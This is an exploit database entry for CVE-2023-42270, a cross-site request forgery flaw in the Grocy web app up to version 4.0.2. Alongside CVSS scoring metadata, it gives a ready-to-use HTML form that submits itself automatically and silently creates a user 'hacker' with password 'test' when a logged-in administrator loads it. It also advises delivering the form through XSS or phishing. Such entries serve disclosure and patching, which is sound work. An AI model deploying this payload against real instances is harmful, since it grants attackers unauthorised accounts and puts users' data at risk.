Grocy <=4.0.2 - CSRF

2024-01-3100:00:00

Chance Proctor

www.exploit-db.com

145

grocy

csrf

vulnerability

version 4.0.2

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.9

Confidence

High

EPSS

0.001

Percentile

31.8%

JSON

# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability
# Application: Grocy
# Version: <= 4.0.2
# Date: 09/21/2023
# Exploit Author: Chance Proctor
# Vendor Homepage: https://grocy.info/
# Software Link: https://github.com/grocy/grocy
# Tested on: Linux
# CVE : CVE-2023-42270



Overview
==================================================
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.
This makes it easy to adjust your request since it is a known format. 
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.



Proof of Concept
==================================================
Host the following html code via a XSS or delivery via a phishing campaign:

	<html>
	<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">
	<input name='username' value='hacker' type='hidden'>
	<input name='password' value='test' type='hidden'>
	<input type=submit>
	</form>
	<script>
	history.pushState('','', '/');
	document.forms[0].submit();
	</script>
	</html>


If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials

	Username: hacker
	Password: test

Note:
In order for this to work, the target must have Create User Permissions.
This is enabled by default.



Proof of Exploit/Reproduce
==================================================
http://xploit.sh/posts/cve-2023-42270/